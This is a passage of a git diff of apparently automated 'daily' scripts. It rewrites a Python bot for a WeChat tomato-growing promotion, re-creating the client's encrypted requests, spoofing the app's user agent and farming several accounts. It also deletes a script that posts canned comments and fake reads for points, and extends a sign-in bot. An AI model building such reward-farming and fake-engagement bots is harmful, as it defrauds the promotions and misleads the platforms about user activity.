Crypto.PublicKey import RSA + + CRYPTO_BACKEND = "pycryptodome" + except ImportError: + CRYPTO_BACKEND = None + + +BASE_URL = "https://farmgames.ioutu.cn" +PUBLIC_KEY = ( + "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA70sK419vy3MabW3lEGlk" + "7Zh1u78OdnVlioVazp5Y46eBh+/TDqo/wZ9VrQ/4MmAtoP0vJ2vmwP5gqO3WPoj" + "b07WddXfF1eU+5M+Rj3s0eSRrvZvBcGZ3qK0dOgZJScK66IDQazt/c4xqhDcsI" + "tIyNRahUqB/IKc6E80GZJvMvFtZVSCseAXC0mAJXhi1AdUOlP+3Pv0fiUVejTJp" + "1j7LBNWJ7Z5/8mRcclQH0vmxsdYsaV3qZiJ2d/CfNoKcwmI2IWmeZy8NP5U8Hn" + "0AsxPEwjdHoEqG/iy/SoA46TZL+RLtWqUSHXpaKR/VFN0rbl25SE91X8FTfLqyD" + "8LfGMCwRQIDAQAB" +) +USER_AGENT = ( + "Mozilla/5.0 (iPhone; CPU iPhone OS 26_5_2 like Mac OS X) " + "AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 " + "MicroMessenger/8.0.75(0x18004b42) NetType/WIFI Language/zh_CN " + "miniProgram/wx532ecb3bdaaf92f9" +) +SUPPORTED_TASK_TYPES = {"SIGN", "BROWSE", "SHARE"} +FRIEND_TASK_TYPE = "FRIEND_STEAL_ENERGY" +FRIEND_STATUS_CLAIMABLE = "0" + + +def parse_users(): + """QH supports one account per line (or separated by &): wid#openId.""" + raw = os.getenv("QH", "").replace("&", "\n") + users = [] + errors = [] + for index, line in enumerate(raw.splitlines(), 1): + line = line.strip() + if not line: + continue + parts = [item.strip() for item in line.split("#")] + if len(parts) < 2 or not parts[0] or not parts[1]: + errors.append(f"第{index}条配置格式错误,应为 wid#openId") + continue + wid, open_id = parts[0], parts[-1] + if not open_id.startswith("o"): + errors.append( + f"第{index}条配置的第二项不像 openId;新活动不再使用手机号,请改为 wid#openId" + ) + continue + users.append((wid, open_id)) + return users, errors + + +def encrypt_payload(payload): + """Match the H5 client: RSA-OAEP-SHA256 + AES-256-GCM.""" + if CRYPTO_BACKEND is None: + raise RuntimeError( + "缺少加密依赖,请安装 cryptography(pip install cryptography)" + ) + + plaintext = json.dumps( + payload, ensure_ascii=False, separators=(",", ":") + ).encode("utf-8") + aes_key = os.urandom(32) + iv = os.urandom(12) + public_key_der = base64.b64decode(PUBLIC_KEY) + + if CRYPTO_BACKEND == "cryptography": + public_key = serialization.load_der_public_key(public_key_der) + encrypted_data = AESGCM(aes_key).encrypt(iv, plaintext, None) + encrypted_key = public_key.encrypt( + aes_key, + padding.OAEP( + mgf=padding.MGF1(algorithm=hashes.SHA256()), + algorithm=hashes.SHA256(), + label=None, + ), + ) + else: + cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv) + ciphertext, tag = cipher.encrypt_and_digest(plaintext) + encrypted_data = ciphertext + tag + public_key = RSA.import_key(public_key_der) + encrypted_key = PKCS1_OAEP.new(public_key, hashAlgo=SHA256).encrypt(aes_key) + + return { + "data": base64.b64encode(encrypted_data).decode(), + "key": base64.b64encode(encrypted_key).decode(), + "iv": base64.b64encode(iv).decode(), + } + + +class TomatoClient: + def __init__(self, wid, open_id): + self.wid = wid + self.open_id = open_id + self.tomato_user_id = None + self.session = requests.Session() + self.session.headers.update( + { + "User-Agent": USER_AGENT, + "Content-Type": "application/json", + "Origin": BASE_URL, + "Referer": f"{BASE_URL}/?wid={wid}&openId={open_id}", } - else: - msg = f"登录失败,返回数据: {dljson} ❌" - print(msg) - user_logs.append(f"🔑 {step}: {msg}") - return None - except Exception as e: - msg = f"登录出错(手机号:{phone}): {str(e)} ❌" - print(msg) - user_logs.append(f"🔑 {step}: {msg}") - return None - -def get_seeds(authorization, user_logs): - step = "领取种子" - if not authorization: - msg = "未获取到授权,无法领取种子 🔒" - print(msg) - user_logs.append(f"🌱 {step}: {msg}") - return - try: - url = "https://api.zhumanito.cn/api/guide" - headers = {'User-Agent': user_agent, 'Content-Type': "application/json", 'authorization': authorization} - for st in (1, 2): - payload = {"status": st} - response = requests.post(url, data=json.dumps(payload), headers=headers) + ) + + def request(self, method, path, payload=None, encrypted=True, retry=2): + url = f"{BASE_URL}{path}" + for attempt in range(retry + 1): + kwargs = {"timeout": 20} + if payload: + kwargs["json"] = encrypt_payload(payload) if encrypted else payload + if encrypted: + kwargs["headers"] = {"X-Request-Encrypted": "true"} + response = self.session.request(method, url, **kwargs) + if response.status_code == 429 and attempt < retry: + retry_after = response.headers.get("Retry-After", "2") + try: + wait_seconds = max(1.0, float(retry_after)) + except ValueError: + wait_seconds = 2.0 + time.sleep(wait_seconds + attempt) + continue response.raise_for_status() - user_logs.append(f"🌱 {step}: 领取/引导完成 ✅") - time.sleep(random.uniform(4, 5)) - except Exception as e: - msg = f"领取种子出错: {str(e)} ❌" - print(msg) - user_logs.append(f"🌱 {step}: {msg}") - -def check_in(authorization, user_logs): - step = "签到" - if not authorization: - msg = "未获取到授权,无法签到 🔒" - print(msg) - user_logs.append(f"📅 {step}: {msg}") - return - try: - url = "https://api.zhumanito.cn/api/task/complete" - headers = {'User-Agent': user_agent, 'Content-Type': "application/x-www-form-urlencoded", 'authorization': authorization} - response = requests.post(url, headers=headers) - response_data = response.json() - if response_data.get("msg") == "成功": - msg = "签到成功 ✅" - print(f"签到结果: {msg}") - user_logs.append(f"📅 {step}: {msg}") - elif response_data.get("msg") == "不可重复完成": - msg = "今日已签到,无需重复操作 ✅" - print(f"签到结果: {msg}") - user_logs.append(f"📅 {step}: {msg}") - else: - msg = f"失败,原因: {response_data.get('msg', '未知错误')} ❌" - print(f"签到结果: {msg}") - user_logs.append(f"📅 {step}: {msg}") - time.sleep(random.uniform(4, 5)) - except Exception as e: - msg = f"签到出错: {str(e)} ❌" - print(msg) - user_logs.append(f"📅 {step}: {msg}") - -def explore(authorization, wid, user_logs): - step = "浏览任务" - if not authorization: - msg = "未获取到授权,无法执行浏览任务 🔒" - print(msg) - user_logs.append(f"🔍 {step}: {msg}") - return - max_retry = 3 - retry_count = 0 - while retry_count < max_retry: - try: - url = f"https://api.zhumanito.cn/?wid={wid}" - headers = { - 'Host': 'api.zhumanito.cn', - 'User-Agent': user_agent, - 'authorization': authorization, - 'sec-ch-ua': '"Chromium";v="142", "Android WebView";v="142", "Not_A Brand";v="99"', - 'sec-ch-ua-mobile': '?0', - 'sec-ch-ua-platform': '"Android"', - 'upgrade-insecure-requests': '1', - 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', - 'x-requested-with': 'com.tencent.mm', - 'sec-fetch-site': 'same-site', - 'sec-fetch-mode': 'navigate', - 'sec-fetch-user': '?1', - 'sec-fetch-dest': 'document', - 'referer': 'https://h5.zhumanito.cn/', - 'accept-encoding': 'gzip, deflate, br, zstd', - 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', - 'priority': 'u=0, i' - } - response = requests.get(url, headers=headers, allow_redirects=False, timeout=10, verify=True) - if response.status_code == 302: - msg = "浏览任务完成✅" - print(f"浏览任务:{msg}") - user_logs.append(f"🔍 {step}: {msg}") - time.sleep(random.uniform(4, 5)) - break - elif response.status_code == 429: - retry_after = int(response.headers.get("Retry-After", "1")) - retry_count += 1 - if retry_count < max_retry: - msg = f"浏览请求限速,等待{retry_after}秒后重试(第{retry_count}/{max_retry}次)" - print(f"浏览任务:{msg}") - time.sleep(retry_after) - else: - msg = f"浏览请求多次限速,放弃重试 ❌" - print(f"浏览任务:{msg}") - user_logs.append(f"🔍 {step}: {msg}") - else: - msg = f"浏览失败,状态码: {response.status_code} ❌" - print(f"浏览任务:{msg}") - user_logs.append(f"🔍 {step}: {msg}") + try: + result = response.json() + except ValueError as exc: + raise RuntimeError(f"接口返回非 JSON 数据:{response.text[:200]}") from exc + + msg = str(result.get("msg", "")) + if result.get("code") == 200: + return result + if attempt < retry and ( + response.status_code == 429 or "频繁" in msg or "稍后" in msg + ): + time.sleep(2.5 + attempt * 1.5) + continue + raise RuntimeError(msg or f"接口返回 code={result.get('code')}") + raise RuntimeError("请求重试后仍未成功") + + def login(self): + result = self.request( + "POST", + "/api/web/open/tomato/login", + { + "shareTomatoUserId": None, + "openId": self.open_id, + "wid": self.wid, + "queryCardStatus": True, + }, + ) + data = result.get("data") or {} + token = data.get("token") + if not token: + raise RuntimeError("登录响应中没有 token") + self.session.headers["Authorization"] = token + self.tomato_user_id = data.get("tomatoUserId") + return data + + def home(self): + return self.request("GET", "/api/web/member/tomato/home").get("data") or {} + + def tasks(self): + return self.request("GET", "/api/web/member/tomato/tasks").get("data") or [] + + def complete_task(self, task): + task_type = task.get("taskType") + payload = {"taskType": task_type} + # The normal task popup always includes browseTarget, even for SIGN. + # SHARE uses its own frontend action and only sends taskType. + if task_type != "SHARE": + payload["browseTarget"] = task.get("browseTarget") or "" + elif self.tomato_user_id: + try: + self.request( + "POST", + "/api/web/member/tomato/miniprogram/qrcode/create", + { + "page": "packages/wm-cloud-qiehuang/home/index", + "scene": str(self.tomato_user_id), + }, + ) + except Exception: + # The official client also falls back to an empty QR URL. + pass + return self.request( + "POST", "/api/web/member/tomato/tasks/complete", payload + ).get("data") or {} + + def friends(self, page_size=20): + friends = [] + page_num = 1 + while True: + result = self.request( + "GET", + f"/api/web/member/tomato/friends?pageNum={page_num}&pageSize={page_size}", + ) + rows = result.get("rows") or [] + friends.extend(rows) + total = int(result.get("total") or 0) + if not rows or (total and len(friends) >= total) or len(rows) < page_size: break - except requests.exceptions.RequestException as e: - msg = f"浏览任务出错: {str(e)} ❌" - print(msg) - user_logs.append(f"🔍 {step}: {msg}") - break - -def harvest(authorization, user_logs, account): - step = "收获作物" - try: - url = "https://api.zhumanito.cn/api/harvest" - headers = { - 'User-Agent': user_agent, - 'Content-Type': "application/x-www-form-urlencoded;charset=utf-8", - 'authorization': authorization - } - before_fruit = int(account["user_data"].get("fruit_num", 0)) - response = requests.post(url, headers=headers, data=b"", timeout=15) - response.raise_for_status() - res_json = response.json() - if res_json.get("code") == 200: - account["user_data"] = res_json["data"]["user"] - account["land_data"] = res_json["data"]["land"] - after_fruit = int(account["user_data"].get("fruit_num", 0)) - total_after = int(account["user_data"].get("total_fruit_num", after_fruit)) - delta = max(0, after_fruit - before_fruit) - msg = f"收获成功!🍅+{delta} → 现有 {after_fruit}(累计 {total_after})" - print(msg) - user_logs.append(f"🌾 {step}: {msg}") - snap_line = f"📊 收获后资源:☀️{account['user_data'].get('sun_num',0)} 💧{account['user_data'].get('water_num',0)} 🍅{after_fruit}" - print(snap_line) - user_logs.append(snap_line) - time.sleep(random.uniform(4, 5)) - return True - else: - msg = f"收获失败: {res_json.get('msg', '未知信息')} ⚠️" - print(msg) - user_logs.append(f"🌾 {step}: {msg}") - return False - except Exception as e: - msg = f"收获请求出错: {str(e)} ❌" - print(msg) - user_logs.append(f"🌾 {step}: {msg}") - return False - -def plant_seed(authorization, user_logs, account): - step = "播种" + page_num += 1 + return friends + + def friend_home(self, friend_user_id): + return self.request( + "GET", + f"/api/web/member/tomato/friends/{friend_user_id}/home", + ).get("data") or {} + + def steal_friend_energy(self, friend_user_id): + return self.request( + "POST", + "/api/web/member/tomato/friends/steal", + {"friendTomatoUserId": friend_user_id}, + ).get("data") + + def use_energy(self): + # The official client sends this endpoint with an empty, unencrypted body. + return self.request( + "POST", "/api/web/member/tomato/energy/use", encrypted=False + ).get("data") or {} + + +def short_open_id(open_id): + return f"{open_id[:6]}...{open_id[-4:]}" if len(open_id) > 12 else open_id + + +def home_line(data, prefix="当前状态"): + return ( + f"{prefix}:能量 {data.get('energyBalance', 0)}," + f"番茄 {data.get('tomatoBalance', 0)}," + f"{data.get('stageName', '未知阶段')} " + f"{data.get('currentExp', 0)}/{data.get('stageRequiredExp', 0)}" + ) + + +def process_user(wid, open_id, index): + logs = [f"账号{index}(wid={wid},openId={short_open_id(open_id)})"] + client = TomatoClient(wid, open_id) + + login_data = client.login() + logs.append(f"登录成功:{login_data.get('nickName') or '未设置昵称'}") + home = client.home() + logs.append(home_line(home)) + + completed = 0 + skipped = 0 + friend_task = None + for task in client.tasks(): + name = task.get("taskName") or task.get("taskCode") or "未知任务" + task_type = task.get("taskType") + if task_type == FRIEND_TASK_TYPE: + friend_task = task + if str(task.get("completed")) == "1": + logs.append(f"任务已完成:{name}") + continue + if str(task.get("completed")) == "1": + logs.append(f"任务已完成:{name}") + continue + if task_type not in SUPPORTED_TASK_TYPES: + skipped += 1 + logs.append(f"跳过任务:{name}(需在小程序内操作)") + continue + try: + result = client.complete_task(task) + reward = result.get("rewardText") or task.get("rewardText") or "已领取" + logs.append(f"任务完成:{name},{reward}") + completed += 1 + except Exception as exc: + logs.append(f"任务失败:{name},{exc}") + time.sleep(random.uniform(2.5, 3.5)) + try: - url = "https://api.zhumanito.cn/api/seed" - headers = { - 'User-Agent': user_agent, - 'Content-Type': "application/x-www-form-urlencoded;charset=utf-8", - 'authorization': authorization - } - response = requests.post(url, headers=headers, data=b"", timeout=15) - response.raise_for_status() - res_json = response.json() - if res_json.get("code") == 200: - msg = "播种成功!✅" - print(msg) - user_logs.append(f"🌱 {step}: {msg}") - account["user_data"] = res_json["data"]["user"] - account["land_data"] = res_json["data"]["land"] - time.sleep(random.uniform(4, 5)) - return True + claimable_friends = [ + friend + for friend in client.friends() + if str(friend.get("friendStatus")) == FRIEND_STATUS_CLAIMABLE + and friend.get("friendTomatoUserId") + ] + stolen_count = 0 + stolen_energy = 0 + failed_count = 0 + for friend in claimable_friends: + friend_user_id = friend["friendTomatoUserId"] + try: + friend_home = client.friend_home(friend_user_id) + amount = int(friend_home.get("stealAmount") or 0) + if str(friend_home.get("canSteal")) != "1" or amount <= 0: + continue + client.steal_friend_energy(friend_user_id) + stolen_count += 1 + stolen_energy += amount + except Exception: + failed_count += 1 + time.sleep(random.uniform(1.5, 2.5)) + + if stolen_count: + detail = f"好友能量:成功收取 {stolen_count} 位好友,共 {stolen_energy} 能量" + if failed_count: + detail += f",失败 {failed_count} 位" + logs.append(detail) + if friend_task and str(friend_task.get("completed")) != "1": + completed += 1 + elif failed_count: + logs.append(f"好友能量:收取失败 {failed_count} 位") else: - msg = f"播种失败: {res_json.get('msg', '未知信息')} ⚠️" - print(msg) - user_logs.append(f"🌱 {step}: {msg}") - return False - except Exception as e: - msg = f"播种请求出错: {str(e)} ❌" - print(msg) - user_logs.append(f"🌱 {step}: {msg}") - return False - -def water_once(headers, account_idx): - """单次浇水(带限速重试)""" - max_retry = 3 - retry_count = 0 - while retry_count < max_retry: + logs.append("好友能量:暂无可收取能量") + except Exception as exc: + logs.append(f"好友能量失败:{exc}") + + home = client.home() + logs.append(home_line(home, "任务后状态")) + energy = int(home.get("energyBalance") or 0) + if energy > 0: + before_tomato = int(home.get("tomatoBalance") or 0) try: - response = requests.post( - "https://api.zhumanito.cn/api/water", - headers=headers, - data=b"", - allow_redirects=False, - timeout=(25, 30) + grown = client.use_energy() + after_tomato = int(grown.get("tomatoBalance") or 0) + gained = int(grown.get("gainedTomatoAmount") or 0) + if not gained: + gained = max(0, after_tomato - before_tomato) + logs.append( + f"使用能量:消耗 {grown.get('usedEnergyAmount', energy)}," + f"成长到 {grown.get('stageName', '未知阶段')} " + f"{grown.get('currentExp', 0)}/{grown.get('stageRequiredExp', 0)}," + f"获得番茄 {gained}" ) - - if response.status_code == 200: - return response.json() - elif response.status_code == 429: - retry_after = int(response.headers.get("Retry-After", "1")) - retry_count += 1 - if retry_count < max_retry: - print(f"账号{account_idx}:浇水请求限速,等待{retry_after}秒后重试(第{retry_count}/{max_retry}次)") - time.sleep(retry_after) - else: - raise Exception(f"浇水请求多次限速({max_retry}次),放弃重试") - else: - raise Exception(f"响应状态码异常: {response.status_code},内容: {response.text}") - except json.JSONDecodeError: - raise Exception(f"返回非JSON数据: {response.text}") - except Exception as e: - if retry_count >= max_retry - 1: - raise e - retry_count += 1 - time.sleep(1) - return None - -def loop_watering(headers, account_idx, account, user_logs): - step = "循环浇水" - user_logs.append(f"🔄 {step}:进入循环浇水(需💧≥20且☀️≥20)") - print(f"\n🔄 账号{account_idx}:进入循环浇水(需💧≥20且☀️≥20)") - - water_headers = headers.copy() - water_headers["Content-Type"] = "application/x-www-form-urlencoded;charset=UTF-8" - - while True: - water = account["user_data"].get("water_num", 0) - sun = account["user_data"].get("sun_num", 0) - - if water >= 20 and sun >= 20: - log_msg = f"🔄 {step}:📌 账号{account_idx}:资源满足(💧{water},☀️{sun}),浇水..." - print(log_msg) - user_logs.append(log_msg) - - try: - res = water_once(water_headers, account_idx) - - if res.get("code") == 200: - # 浇水成功,更新用户数据 - account["user_data"] = res["data"]["user"] - land = res["data"].get("land", []) - - success_msg = f"🔄 {step}:✅ 账号{account_idx}:浇水成功!" - status_msg = f"🔄 {step}:📊 剩余:💧{account['user_data']['water_num']},☀️{account['user_data']['sun_num']}" - print("="*35) - print(success_msg) - print(status_msg) - # 关键修改:每条浇水成功日志都保留(不合并、不删除) - user_logs.append(success_msg) - user_logs.append(status_msg) - - if land: - land_msg = f"🔄 {step}:🌱 土地:共{len(land)}块,阶段{land[0]['seed_stage']} 🌱" - print(land_msg) - user_logs.append(land_msg) - print("="*35) - - time.sleep(random.uniform(4, 5)) - else: - # 浇水失败(如达上限、其他错误) - fail_msg = f"🔄 {step}:❌ 账号{account_idx}:浇水失败:{res.get('msg', '未知错误')}" - print(fail_msg) - user_logs.append(fail_msg) - break - - except Exception as e: - error_msg = f"🔄 {step}:⚠️ 账号{account_idx}:浇水请求异常:{str(e)} ❌" - print(error_msg) - user_logs.append(error_msg) - break - else: - end_msg = f"🔄 {step}:🔚 账号{account_idx}:资源不足(💧{water},☀️{sun}),停止浇水 ⏹️" - print(end_msg) - user_logs.append(end_msg) - fruit = account['user_data'].get('fruit_num', 0) - final_snap = f"📊 最终资源:☀️{sun} 💧{water} 🍅{fruit}" - print(final_snap) - user_logs.append(final_snap) - break - -def process_user(wid, phone, user_index): - user_logs = [f"👤 用户{user_index}: wid={wid} | 手机号={phone}"] - print(f"\n===== 开始处理用户 {user_index} (wid: {wid}, 手机号: {phone}) =====") - # 登录时传入 wid 和手机号 - login_data = login(wid, phone, user_logs) - if login_data: - auth_token = login_data["token"] - headers = {'User-Agent': user_agent, 'authorization': auth_token} - account = {"user_data": login_data["user_data"], "land_data": login_data["land_data"]} - fruit = account['user_data'].get('fruit_num', 0) - print(f"📊 当前番茄数量:{fruit}") - user_logs.append(f"📊 当前番茄数量:{fruit}") - if account["user_data"].get("new_status", 2) != 2: - get_seeds(auth_token, user_logs) - check_in(auth_token, user_logs) - explore(auth_token, wid, user_logs) - current_stage = 0 - if account["land_data"] and len(account["land_data"]) > 0: - current_stage = account["land_data"][0].get("seed_stage", 0) - print(f"\n🧠 账号{user_index}:智能判断... 当前土地状态: {current_stage}") - user_logs.append(f"ℹ️ 土地状态: {current_stage}") - if current_stage == 5: - print("判断:作物已成熟。") - user_logs.append("🧠 判断:作物已成熟。") - print(f">> 账号{user_index}:执行 [收获]...") - harvest_success = harvest(auth_token, user_logs, account) - if harvest_success: - print(f">> 账号{user_index}:执行 [播种]...") - plant_seed(auth_token, user_logs, account) - elif current_stage == 0: - print("判断:土地为空。") - user_logs.append("🧠 判断:土地为空。") - print(f">> 账号{user_index}:执行 [播种]...") - plant_seed(auth_token, user_logs, account) - else: - print("判断:作物生长中... 无需收获或播种。") - user_logs.append("🧠 判断:作物生长中。") - loop_watering(headers, user_index, account, user_logs) + home = grown + except Exception as exc: + logs.append(f"使用能量失败:{exc}") else: - msg = "获取授权失败,无法执行后续操作 🔒" - print(msg) - user_logs.append(f"⚠️ {msg}") - print(f"===== 完成处理用户 {user_index} =====\n") - time.sleep(3) - return user_logs + logs.append("使用能量:当前没有可用能量") + + logs.append(home_line(home, "最终状态")) + logs.append(f"本次完成任务 {completed} 个,跳过 {skipped} 个") + return logs + + +def render_report(all_logs): + lines = ["统一茄皇五期"] + for logs in all_logs: + lines.append("━━━━━━━━━━━━━━━━━━━━") + lines.extend(logs) + lines.append("━━━━━━━━━━━━━━━━━━━━") + return "\n".join(lines) + + +def main(): + users, config_errors = parse_users() + if CRYPTO_BACKEND is None: + message = "缺少加密依赖,请安装 cryptography:pip install cryptography" + print(message) + send("统一茄皇五期", message) + return + if not users: + detail = ";".join(config_errors) if config_errors else "未读取到 QH 环境变量" + message = f"没有可用账号:{detail}。新格式为 wid#openId" + print(message) + send("统一茄皇五期", message) + return + + all_logs = [] + for index, (wid, open_id) in enumerate(users, 1): + print(f"\n===== 开始处理账号 {index}(wid={wid})=====") + try: + logs = process_user(wid, open_id, index) + except Exception as exc: + logs = [ + f"账号{index}(wid={wid},openId={short_open_id(open_id)})", + f"处理失败:{exc}", + ] + all_logs.append(logs) + print("\n".join(logs)) + if index < len(users): + time.sleep(random.uniform(3, 5)) + + if config_errors: + all_logs.append(["配置提醒"] + config_errors) + report = render_report(all_logs) + print("\n" + report) + send("统一茄皇五期", report) + if __name__ == "__main__": - if not parsed_users or len(parsed_users) == 0: - print("未从环境变量TYQH中获取到任何用户信息! 🚫") - send("统一茄皇", "未从环境变量TYQH中获取到任何用户信息! 🚫") - else: - print(f"共检测到 {len(parsed_users)} 个用户,开始依次处理... 👥") - all_logs = [] - for i, (wid, phone) in enumerate(parsed_users, 1): - try: - user_logs = process_user(wid, phone, i) - all_logs.extend(user_logs) - all_logs.append("") - except Exception as e: - error_msg = f"用户 {i} 处理过程中发生未捕获错误: {str(e)} ❌" - print(error_msg) - all_logs.append(f"❌ {error_msg}") - all_logs.append("") - # 推送完整报告(包含所有浇水成功记录) - report = render_report(all_logs) - print("\n" + "="*50) - print("最终推送通知内容:") - print(report) - print("="*50) - send("统一茄皇", report) \ No newline at end of file + main() diff --git a/daily/shyp.py b/daily/shyp.py deleted file mode 100644 index e0af66ca..00000000 --- a/daily/shyp.py +++ /dev/null @@ -1,174 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- -""" -new Env('上海云媒体积分任务'); -cron: 10 8 * * * - -【使用说明】 -1. 环境变量名: SHYP_ACCOUNTS -2. 格式要求: - - 多个账号之间用 & 或者 换行 分隔。 - - 账号内部参数用 # 分隔,顺序为:token#device_id#备注名 - - 例如: - export SHYP_ACCOUNTS="token1#device1#张三 & token2#device2#李四" -""" - -import os -import re -import time -import random -import logging -import requests -from typing import Dict, Any, Optional - -# ==================== 配置与日志 ==================== -logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') -logger = logging.getLogger("SHYP") - -# 随机延迟设置 -DELAY_ACCOUNTS = (5, 12) -DELAY_TASKS = (3, 6) -COMMENT_POOL = ["👍", "支持", "不错", "很好", "赞", "学习了"] - -# ==================== API 核心类 ==================== -class ShypAPI: - def __init__(self, token: str, device_id: str, name: str): - self.base_url = "https://app.ypmedia.cn" - self.token = token - self.device_id = device_id - self.name = name - self.site_id = "310110" - self.headers = { - "User-Agent": "okhttp/4.10.0", - "deviceid": self.device_id, - "siteid": self.site_id, - "token": self.token, - "Content-Type": "application/json; charset=UTF-8" - } - - def _post(self, endpoint: str, data: Dict = None) -> Optional[Dict]: - try: - res = requests.post(f"{self.base_url}{endpoint}", json=data, headers=self.headers, timeout=15) - return res.json() - except Exception as e: - logger.error(f"请求失败: {e}") - return None - - def get_info(self): - return self._post("/media-basic-port/api/app/personal/score/info", - {"orderBy": "release_desc", "requestType": "2", "siteId": self.site_id}) - - def get_articles(self, channel_id: str, size: int): - return self._post("/media-basic-port/api/app/news/content/list", - {"channel": {"id": channel_id}, "pageNo": 1, "pageSize": size, - "orderBy": "release_desc", "requestType": "1", "siteId": self.site_id}) - -# ==================== 任务执行器 ==================== -class ShypRunner: - def __init__(self, api: ShypAPI): - self.api = api - - def start(self): - logger.info(f"🚀 开始处理账号: {self.api.name}") - info = self.api.get_info() - if not info or info.get("code") != 0: - logger.error(f"❌ {self.api.name} Token无效或获取失败") - return - - data = info.get("data", {}) - logger.info(f"📊 当前积分: {data.get('totalScore')} | 今日已获: {data.get('todayPoint')}") - - for job in data.get("jobs", []): - if job.get("status") == "1": continue - - title = job.get("title") - need = job.get("totalProgress", 0) - job.get("progress", 0) - if need <= 0: continue - - if "阅读" in title: self.do_read(need) - elif "视频" in title: self.do_video(need) - elif "收藏" in title: self.do_favor(need) - elif "评论" in title: self.do_comment(need) - elif "分享" in title: self.do_share(need) - - time.sleep(random.uniform(*DELAY_TASKS)) - - def do_read(self, count): - logger.info(f"📖 准备阅读 {count} 篇文章") - res = self.api.get_articles("a978f44b3e284e5e86777f9d4e3be7bb", count) - for a in res.get("data", {}).get("records", [])[:count]: - self.api._post("/media-basic-port/api/app/common/count/usage/inc", - {"countType": "contentRead", "id": a['id'], "requestType": "1", "siteId": self.api.site_id}) - self.api._post("/media-basic-port/api/app/points/read/add", {"requestType": "1", "siteId": self.api.site_id}) - logger.info(f"✅ 已阅: {a['title'][:12]}") - time.sleep(random.uniform(2, 4)) - - def do_video(self, count): - logger.info(f"📺 准备观看 {count} 个视频") - res = self.api.get_articles("d7036c2839e047b48fe64bc36987650c", count) - for v in res.get("data", {}).get("records", [])[:count]: - self.api._post("/media-basic-port/api/app/points/video/add", {"requestType": "1", "siteId": self.api.site_id}) - logger.info(f"✅ 已看: {v['title'][:12]}") - time.sleep(random.uniform(5, 8)) - - def do_favor(self, count): - res = self.api.get_articles("a978f44b3e284e5e86777f9d4e3be7bb", count) - for a in res.get("data", {}).get("records", [])[:count]: - self.api._post("/media-basic-port/api/app/news/content/favor", {"id": a['id']}) - logger.info(f"✅ 已收藏: {a['title'][:12]}") - time.sleep(2) - - def do_comment(self, count): - res = self.api.get_articles("a978f44b3e284e5e86777f9d4e3be7bb", count) - for a in res.get("data", {}).get("records", [])[:count]: - self.api._post("/media-basic-port/api/app/common/comment/add", - {"content": random.choice(COMMENT_POOL), "targetType": "content", "targetId": a['id']}) - logger.info(f"✅ 已评论: {a['title'][:12]}") - time.sleep(4) - - def do_share(self, count): - for _ in range(count): - self.api._post("/media-basic-port/api/app/points/share/add", {"requestType": "1", "siteId": self.api.site_id}) - logger.info("✅ 已分享任务") - time.sleep(2) - -# ==================== 主程序入口 ==================== -def main(): - conf = os.getenv("SHYP_ACCOUNTS", "") - if not conf: - logger.error("❌ 未找到环境变量 SHYP_ACCOUNTS") - return - - # 1. 按照 & 或者 换行符 分割出多个账号 - account_blocks = re.split(r'[&\n]+', conf.strip()) - - for idx, block in enumerate(account_blocks): - block = block.strip() - if not block: continue - - # 2. 按照 # 分割内部参数 (token#device_id#name) - parts = block.split('#') - - if len(parts) < 2: - logger.warning(f"⚠️ 第 {idx+1} 个账号格式错误,需至少包含 token#device_id") - continue - - token = parts[0].strip() - device_id = parts[1].strip() - name = parts[2].strip() if len(parts) > 2 else f"账号{idx+1}" - - api = ShypAPI(token, device_id, name) - runner = ShypRunner(api) - try: - runner.start() - except Exception as e: - logger.error(f"💥 运行异常: {e}") - - if idx < len(account_blocks) - 1: - wait_time = random.uniform(*DELAY_ACCOUNTS) - logger.info(f"💤 等待 {wait_time:.1f} 秒处理下一个账号...") - time.sleep(wait_time) - -if __name__ == "__main__": - main() \ No newline at end of file diff --git a/daily/xinxi.js b/daily/xinxi.js index b6816b96..ce68e6a8 100644 --- a/daily/xinxi.js +++ b/daily/xinxi.js @@ -1,7 +1,7 @@ /* ------------------------------------------ @Author: sm -@Date: 2024.06.07 19:15 +@Date: 2026.08.13 16:55 @Description: 心喜 小程序 cron: 30 7 * * * ------------------------------------------ @@ -34,12 +34,23 @@ class Task { this.user = env.split(strSplitor); this.token = this.user[0]; this.posts = [] + this.goods = [] + this.pageNum = 1 } async run() { await this.userInfo() + await this.signStatus(); await this.tasklist() + + if (this.goods) { + $.log(`===========积分物品统计===========`) + for (let item of this.goods) { + $.log(`积分物品【${item.name}】,库存:${item.stock}`) + } + $.log(`===========积分物品统计===========`) + } } generateMd5Signature = function (e) { @@ -82,6 +93,36 @@ class Task { } } + + async signStatus() { + try { + let options = { + method: 'GET', + url: `https://api.xinc818.com/mini/sign/status`, + headers: { + "Content-Type": "application/json", + } + + }; + let { data: result } = await this.request(options); + if (result.code == 0) { + if (result.data) { + $.log(`✅账号[${this.index}] 签到状态【${result.data}】已签到🎉`) + } else { + $.log(`✅账号[${this.index}] 签到状态【${result.data}】未签到🎉`) + await $.wait(2000) + await this.signIn() + } + await $.wait(1000) + await this.signContinuous() + } else { + $.log(`❌账号[${this.index}] 签到状态查询失败`); + } + } catch (error) { + $.log(`❌账号[${this.index}] 签到状态查询异常:${error}`); + } + } + async signIn() { let options = { method: 'GET', @@ -100,6 +141,28 @@ class Task { } } + + async signContinuous() { + + try { + let options = { + method: 'GET', + url: `https://api.xinc818.com/mini/sign/continuous`, + headers: { + "Content-Type": "application/json", + } + + + }; + let { data: result } = await this.request(options); + if (result.code == 0) { + $.log(`✅账号[${this.index}] 连续签到【${result.data}】天🎉`) + } + } catch (e) { + $.log(`❌账号[${this.index}] 查询连续签到天数异常:${e}`); + } + } + async share() { let options = { method: 'GET', @@ -126,9 +189,12 @@ class Task { }; let { data: result } = await this.request(options); if (result.code == 0) { + await this.getPosts() + await this.getGoods() for (let task of result.data) { - await this.getPosts() + if (task.status == false) { + console.log(`${task.taskName}[${task.code}]--${task.annotation} -- ${task.finishNum}`) if (task.code == 'BROWSE_PRODUCTS') { await this.browseGoods() } @@ -139,10 +205,29 @@ class Task { await this.likePosts(this.posts[0].id) } if (task.code == 